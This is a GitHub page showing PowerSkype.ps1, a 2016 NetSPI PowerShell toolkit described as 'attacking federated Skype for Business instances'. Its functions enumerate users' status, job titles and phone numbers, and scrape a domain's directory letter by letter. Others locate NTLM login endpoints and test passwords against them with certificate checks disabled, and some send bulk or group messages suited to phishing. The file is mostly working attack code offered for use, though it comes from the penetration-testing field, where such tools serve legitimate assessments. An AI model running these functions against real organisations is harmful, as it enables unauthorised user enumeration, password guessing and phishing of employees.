Permalink
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
689 lines (561 sloc) 21.4 KB
<#
File: PowerSkype.ps1
Author: Karl Fosaaen (@kfosaaen), NetSPI - 2016
Description: PowerShell functions for enumerating and attacking federated Skype for Business instances.
Thanks: @nyxgeek for the http-ntlm authentication endpoints
#>
# To Do:
# Add proper error handling on all inputs/functions
# Add attachment functionality to send files w/messages
# Import the assembly into the PowerShell session - http://blog.powershell.no/2013/08/08/automating-microsoft-lync-using-windows-powershell/
if (-not (Get-Module -Name Microsoft.Lync.Model))
{
try
{
Import-Module -Name (Join-Path -Path ${env:ProgramFiles(x86)} -ChildPath "Microsoft Office 2013\LyncSDK\Assemblies\Desktop\Microsoft.Lync.Model.dll") -ErrorAction Stop
}
catch
{
Write-Warning "Microsoft.Lync.Model not available, download and install the Lync 2013 SDK http://www.microsoft.com/en-us/download/details.aspx?id=36824"
break
}
}
Function Get-SkypeStatus{
<#
.SYNOPSIS
Gets the current status of valid federated Skype users.
.PARAMETER email
The email address to lookup.
.PARAMETER inputFile
The file of email addresses to lookup.
.PARAMETER outputFile
The CSV file to write the table to.
.PARAMETER attempts
The number of times to check the status (Default=1).
.PARAMETER delay
The amount of delay to set between users read from a file.
.EXAMPLE
PS C:\> Get-SkypeStatus -email test@example.com
Email : test@example.com
Title : Chief Example Officer
Full Name : Testing McTestface
Status : Available
Out Of Office : False
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory=$false,
HelpMessage="Email address to verify the status of.")]
[string]$email,
[Parameter(Mandatory=$false,
HelpMessage="Input file to read email addresses from.")]
[string]$inputFile,
[Parameter(Mandatory=$false,
HelpMessage="Output file to write valid emails to.")]
[string]$outputFile,
[Parameter(Mandatory=$false,
HelpMessage="The number of times to check for an email's status - Default:1")]
[string]$attempts,
[Parameter(Mandatory=$false,
HelpMessage="Delay to use - Helpful with large lists")]
[string]$delay
)
# Connect to the local Skype process
try
{
$client = [Microsoft.Lync.Model.LyncClient]::GetClient()
}
catch
{
Write-Host "`nYou need to have Skype open and signed in first"
break
}
# Bounds check the important inputs
if(($email.Length -eq 0) -and ($inputFile.Length -eq 0))
{
Get-Help Get-SkypeStatus
break
}
# Create data table to house results
$TempTblUsers = New-Object System.Data.DataTable
$TempTblUsers.Columns.Add("Email") | Out-Null
$TempTblUsers.Columns.Add("Title") | Out-Null
$TempTblUsers.Columns.Add("Full Name") | Out-Null
$TempTblUsers.Columns.Add("Status") | Out-Null
$TempTblUsers.Columns.Add("Out Of Office") | Out-Null
$TempTblUsers.Columns.Add("Endpoints") | Out-Null
# Check if attempts is set
if ($attempts.Length -eq 0){$attempts = 1}
# Read any input file and kick off sub-routines
if($inputFile)
{
foreach($line in (Get-Content $inputFile))
{
Get-SkypeStatus -email $line -attempts $attempts
if ($delay -ne $null){sleep $delay}
}
}
# Loop through the number of attempts
for ($i=1; $i -le $attempts; $i++)
{
#Get a remote contact
if ($email.Length -gt 0){
try
{
$contact = $client.ContactManager.GetContactByUri($email)
}
catch
{
Write-Verbose "Failed to find Contact $email"
break
}
}
else{break}
# Create a conversation
$convo = $client.ConversationManager.AddConversation()
if($contact)
{
$convo.AddParticipant($contact) | Out-Null
}
else{break}
# Check contact availability
if(($contact.GetContactInformation('Availability') -gt '0') -or ([string]$contact.GetContactInformation('Title')))
{
# Iterate through phone numbers
$numbers = ""
$phones = $contact.GetContactInformation('ContactEndpoints')
$phones | foreach {if ($_.Uri -like "tel:*") {if ($_.Type -eq "WorkPhone"){$numbers += "Work: "+$_.Uri+" "} elseif ($_.Type -eq "MobilePhone"){$numbers += "Mobile: "+$_.Uri+" "}}}
# Add user to the table
$TempTblUsers.Rows.Add([string]$email,[string]$contact.GetContactInformation('Title'),[string]$contact.GetContactInformation('DisplayName'),$contact.GetContactInformation('Activity'),[string]$contact.GetContactInformation('IsOutOfOffice'),$numbers) | Out-Null
}
# End the conversation
$convo.End() | Out-Null
# If an output file is set, write the CSV
if($outputFile)
{
$TempTblUsers | Export-Csv -Path $outputFile -Append
}
}
return $TempTblUsers
}
Function Get-SkypeLoginURL{
<#
.SYNOPSIS
Attempts to identify Skype HTTP-NTLM login servers from the autodiscover server.
.PARAMETER domain
The domain name to lookup.
.EXAMPLE
PS C:\> Get-SkypeLoginHost -domain example.com
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory=$true,
HelpMessage="The domain name to lookup.")]
[string]$domain
)
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
#Do Nyxgeek subdomain checks first
$discoDomain = 'lyncdiscover.'+$domain
$accessDomain = 'access.'+$domain
$meetDomain = 'meet.'+$domain
$dialinDomain = 'dialin.'+$domain
try{($disco = Resolve-DnsName $discoDomain -ErrorAction Stop -Verbose:$false | select Name | Select-Object -First 1)|Out-Null}catch{}
try{($access = Resolve-DnsName $accessDomain -ErrorAction Stop -Verbose:$false | select Name | Select-Object -First 1)|Out-Null}catch{}
try{($meet = Resolve-DnsName $meetDomain -ErrorAction Stop -Verbose:$false | select Name | Select-Object -First 1)|Out-Null}catch{}
try{($dialin = (Resolve-DnsName $dialinDomain -ErrorAction Stop -Verbose:$false | select Name | Select-Object -First 1))|Out-Null}catch{}
# Add in HTTP-NTLM auth prompt checks here
if($disco.length -eq 0){Write-Verbose -Message "Lyncdiscover record not found"}
else{
$lyncURL = "https://lyncdiscover."+$domain
$webclient = new-object System.Net.WebClient
try{
$webpage = $webclient.DownloadString($lyncURL)
$FullLyncServer = "https://"+($webpage.Split('{')[3].Split('"')[3].Split("/")[2])+"/WebTicket/WebTicketService.svc/Auth"
Write-Verbose -Message ("Lyncdiscover Authentication Endpoint Identified - "+$FullLyncServer)
return $FullLyncServer
}
catch {Write-Verbose -Message "The AutoDiscover URL doesn't appear to work"}
}
if($dialin.length -eq 0){Write-Verbose -Message "Dialin record not found"}
else{Write-Verbose -Message ("Dialin Authentication Endpoint Identified - https://dialin."+$domain+"/abs/"); return "https://dialin."+$domain+"/abs/"}
#################STILL NEEDS SOME WORK#################
if($meet.length -eq 0){Write-Verbose -Message "Meet record not found"}
# Still Needs an auth endpoint here
else{Write-Verbose -Message "Meet Authentication Endpoint Identified"; return "https://meet."+$domain+""}
if($access.length -eq 0){Write-Verbose -Message "Access record not found"}
# Still Needs an auth endpoint here
else{Write-Verbose -Message "Access Authentication Endpoint Identified"; return "https://access."+$domain+""}
Write-Host "`nThe domain does not appear to support any external Skype/Lync authentication endpoints" -ForegroundColor Red; break
return $Returnurl
}
Function Invoke-SkypeLogin{
<#
.SYNOPSIS
Attempts a login as a Skype user.
.PARAMETER email
The email address to login as.
.PARAMETER username
The username to login as.
.PARAMETER password
The password to use.
.PARAMETER url
The url to authenticate against.
.EXAMPLE
PS C:\> Invoke-SkypeLogin -email test@example.com -password Fall2016
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory=$true,
HelpMessage="Email address to login as.")]
[string]$email,
[Parameter(Mandatory=$false,
HelpMessage="Username to login as.")]
[string]$username,
[Parameter(Mandatory=$true,
HelpMessage="Password to use.")]
[string]$password,
[Parameter(Mandatory=$false,
HelpMessage="Domain name to login with.")]
[string]$domain,
[Parameter(Mandatory=$false,
HelpMessage="The url to authenticate against.")]
[string]$url
)
if ($domain.Length -eq 0){$domain = $email.Split("@")[1]}
if($url.Length -eq 0){
$emailDomain = $email.Split("@")[1]
$url = Get-SkypeLoginURL -domain $emailDomain
}
if($url -like '*lync.com*'){Write-Host 'Microsoft Managed Skype for Business instance - HTTP NTLM Auth currently not supported' -ForegroundColor Red; break}
if($username.Length -eq 0){$username = $email.Split("@")[0]}
#Test URL - https://webdirca1.online.lync.com/WebTicket/WebTicketService.svc/Auth
#https://meet.lync.com/TENNANT_NAME/USER/MEETING
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
#Depending on the HTTP code, determine if auth was successful
#Useful info on the autodiscover protocol - http://www.lyncexch.co.uk/lyncdiscover-and-auto-discovery-deeper-dive/
$req = [system.Net.WebRequest]::Create($url)
$req.Credentials = new-object System.Net.NetworkCredential($username, $password, $domain)
try {
$res = $req.GetResponse()
} catch [System.Net.WebException] {
$res = $_.Exception.Response
}
if ([int]$res.StatusCode -eq '403'){Write-Host 'Authentication Successful: '$domain\$username' - '$password -ForegroundColor Green}
else{Write-Host 'Authentication Failure: '$domain\$username' - '$password -ForegroundColor Red}
#$webpage = $webclient.DownloadString($url)
#Write-Host "Successful Authentication for:"$email" - "$password
}
Function Invoke-SendSkypeMessage{
<#
.SYNOPSIS
Sends messages to Skype users.
.PARAMETER email
The email address to send the message to.
.PARAMETER message
The message to send.
.PARAMETER inputFile
The file of email addresses to message.
.EXAMPLE
PS C:\> Invoke-SendSkypeMessage -email test@example.com -message "Hello World"
Sent the following message to test@example.com:
Hello World
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory=$false,
HelpMessage="Email address to send the message to.")]
[string]$email,
[Parameter(Mandatory=$true,
HelpMessage="Message to send.")]
[string]$message,
[Parameter(Mandatory=$false,
HelpMessage="File of email addresses to send the message to.")]
[string]$inputFile
)
# Connect to the local Skype process
try
{
$client = [Microsoft.Lync.Model.LyncClient]::GetClient()
}
catch
{
Write-Host "`nYou need to have Skype open and signed in first"
break
}
# Bounds check the important inputs
if(($email.Length -eq 0) -and ($inputFile.Length -eq 0))
{
#Write-Host "Use -email or -inputFile and enter an email address..."
Get-Help Invoke-SendSkypeMessage
break
}
# Read any input file and kick off sub-routines
if($inputFile)
{
foreach($line in (Get-Content $inputFile))
{
if ($line.Length -ne $null){Invoke-SendSkypeMessage -email $line -message $message}
}
break
}
#Start Conversation
$msg = New-Object "System.Collections.Generic.Dictionary[Microsoft.Lync.Model.Conversation.InstantMessageContentType, String]"
#Add the Message
$msg.Add(1,$message)
# Add the contact URI
try
{
$contact = $client.ContactManager.GetContactByUri($email)
}
catch
{
Write-Host "`nFailed to lookup Contact"$email
break
}
# Create a conversation
$convo = $client.ConversationManager.AddConversation()
$convo.AddParticipant($contact) | Out-Null
# Set the message mode as IM
$imModality = $convo.Modalities[1]
# Send the message
$imModality.BeginSendMessage($msg, $null, $imModality) | Out-Null
# End the Convo to suppress the UI
$convo.End() | Out-Null
Write-Host "Sent the following message to "$email":`n"$message
}
Function Invoke-SendGroupSkypeMessage{
<#
.SYNOPSIS
Sends group messages to multiple Skype users.
.PARAMETER emails
The email addresses to send the message to.
.PARAMETER message
The message to send.
.PARAMETER inputFile
The file of email addresses to message.
.EXAMPLE
PS C:\> Invoke-SendGroupSkypeMessage -emails "test@example.com, test1@example.com" -message "testing"
Sent the following message to 2 users:
testing
.EXAMPLE
PS C:\> Invoke-SendGroupSkypeMessage -inputFile "C:\Temp\2Emails.txt" -message "testing"
Sent the following message to 2 users:
testing
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory=$false,
HelpMessage="Email addresses to send the message to.")]
[string]$emails,
[Parameter(Mandatory=$false,
HelpMessage="Input file to read email addresses from.")]
[string]$inputFile,
[Parameter(Mandatory=$true,
HelpMessage="Message to send.")]
[string]$message
)
# Variable checking
if (($emails -eq $null) -and ($inputFile -eq $null)){break}
# Connect to the local Skype process
try
{
$client = [Microsoft.Lync.Model.LyncClient]::GetClient()
}
catch
{
Write-Host "`nYou need to have Skype open and signed in first"
break
}
#Start Conversation
$msg = New-Object "System.Collections.Generic.Dictionary[Microsoft.Lync.Model.Conversation.InstantMessageContentType, String]"
#Add the Message
$msg.Add(1,$message)
# Get a count of the emails for final output
$count = 0
if($inputFile)
{
# Create a conversation
$convo = $client.ConversationManager.AddConversation()
foreach($email in (Get-Content $inputFile))
{
# Add email to group message $line
try
{
$contact = $client.ContactManager.GetContactByUri($email.Replace(" ",""))
$convo.AddParticipant($contact) | Out-Null
$count += 1
}
catch
{
Write-Host "`nFailed to lookup Contact"$email
}
}
}
else
{
# Create a conversation
$convo = $client.ConversationManager.AddConversation()
# add the comma list from the input to the message
$emailSplit = $emails.Split(',')
foreach ($email in $emailSplit)
{
try
{
$contact = $client.ContactManager.GetContactByUri($email.Replace(" ",""))
$convo.AddParticipant($contact) | Out-Null
$count += 1
}
catch
{
Write-Host "`nFailed to lookup Contact"$email
}
}
}
# Set the message mode as IM
$imModality = $convo.Modalities[1]
# Send the message
$imModality.BeginSendMessage($msg, $null, $imModality) | Out-Null
$convo.End() | Out-Null
Write-Host "Sent the following message to"$count "users:`n"$message
}
Function Get-SkypeFederation{
<#
.SYNOPSIS
Does DNS lookups on common federation records.
.PARAMETER Domain
The domain to lookup.
.EXAMPLE
PS C:\> Get-SkypeFederation -domain netspi.com
Domain : netspi.com
MS=MS* : True
_sip._tcp : False
_sip._tls : True
_sipfederationtls._tcp : False
#>
# This is in Progress...
[CmdletBinding()]
Param(
[Parameter(Mandatory=$false,
HelpMessage="Domain to verify the status of.")]
[string]$domain
)
# Create data table to house results
$TempTblDomain = New-Object System.Data.DataTable
$TempTblDomain.Columns.Add("Domain") | Out-Null
$TempTblDomain.Columns.Add("MS=MS*") | Out-Null
$TempTblDomain.Columns.Add("_sip._tcp") | Out-Null
$TempTblDomain.Columns.Add("_sip._tls") | Out-Null
$TempTblDomain.Columns.Add("_sipfederationtls._tcp") | Out-Null
$txt = try{(Resolve-DnsName -Type TXT $domain -ErrorAction Stop | select Strings)}catch{}
$sip = try{Resolve-DnsName -Type SRV "_sip._tcp.$domain" -ErrorAction Stop}catch{}
$siptls = try{Resolve-DnsName -Type SRV "_sip._tls.$domain" -ErrorAction Stop}catch{}
$sipFed = try{Resolve-DnsName -Type SRV "_sipfederationtls._tcp.$domain" -ErrorAction Stop}catch{}
$ms = "False"
$sipTrue = "False"
$siptlsTrue = "False"
$sipFedTrue = "False"
if($txt -contains "MS=" -or "ms=")
{
$ms = "True"
}
if($sip)
{
$sipTrue = "True"
}
if($siptls)
{
$siptlsTrue = "True"
}
if($sipFed)
{
$sipFedTrue = "True"
}
# Add domain to table
$TempTblDomain.Rows.Add([string]$domain,[string]$ms,[string]$sipTrue,[string]$siptlsTrue,[string]$sipFedTrue) | Out-Null
return $TempTblDomain
}
function Get-SkypeContacts{
<#
.SYNOPSIS
Gets a list of contacts from the current user.
.PARAMETER group
The specific group to list. (Default is to list all contacts)
.EXAMPLE
PS C:\> Get-SkypeContacts | ft -AutoSize
Email Title Full Name Status Out Of Office Endpoints
----- ----- --------- ------ ------------- ---------
test@example.com Person of Interest J Doe Offline False Work: tel:911
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory=$false,
HelpMessage="The contact group to list.")]
[string]$group
)
# Connect to the local Skype process
try
{
$client = [Microsoft.Lync.Model.LyncClient]::GetClient()
}
catch
{
Write-Host "`nYou need to have Skype open and signed in first"
break
}
if ($group.length -ne 0){
$groups = $client.ContactManager.Groups
foreach ($g in $groups){
if ($g.Name -eq $group) {
foreach ($contact in $g){
foreach ($email in $contact.GetContactInformation('email')){Get-SkypeStatus $email}
}
}
}
}
else{
$groups = $client.ContactManager.Groups
foreach ($g in $groups){
foreach ($contact in $g){
foreach ($email in $contact.GetContactInformation('email')){Get-SkypeStatus $email}
}
}
}
}
function Get-SkypeDomainUsers{
<#
.SYNOPSIS
Searches the users contacts for available contacts.
.EXAMPLE
PS C:\> Get-SkypeDomainUsers | ft -AutoSize
Email Title Full Name Status Out Of Office Endpoints
----- ----- --------- ------ ------------- ---------
test@example.com Person of Interest J Doe Offline False Work: tel:911
#>
# Connect to the local Skype process
try
{
$client = [Microsoft.Lync.Model.LyncClient]::GetClient()
}
catch
{
Write-Host "`nYou need to have Skype open and signed in first"
break
}
# Helpful Link - https://msdn.microsoft.com/en-us/library/office/dn391639.aspx
# Does simple outlook contacts search
# Search a to z and filter
# This is inefficient, but functional right now
$letters = "a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"
# Create data table to house results
$TempTblUris = New-Object System.Data.DataTable
$TempTblUris.Columns.Add("URI") | Out-Null
foreach($letter in $letters){
$searcher = $client.ContactManager.BeginSearch($letter, $null, $null)
$end = $client.ContactManager.EndSearch($searcher)
$uris += ($end | ForEach-Object {$_.Contacts | ForEach-Object {$TempTblUris.Rows.Add([string]$_.Uri)}})
}
# Sort and unique the final table
$finalTable = $TempTblUris | sort-object -Property uri -Unique
# Take each URI and run Get-SkypeStatus on it
foreach ($uri in $finalTable){Get-SkypeStatus -email ([string]$uri.URI.split(":")[1])}
}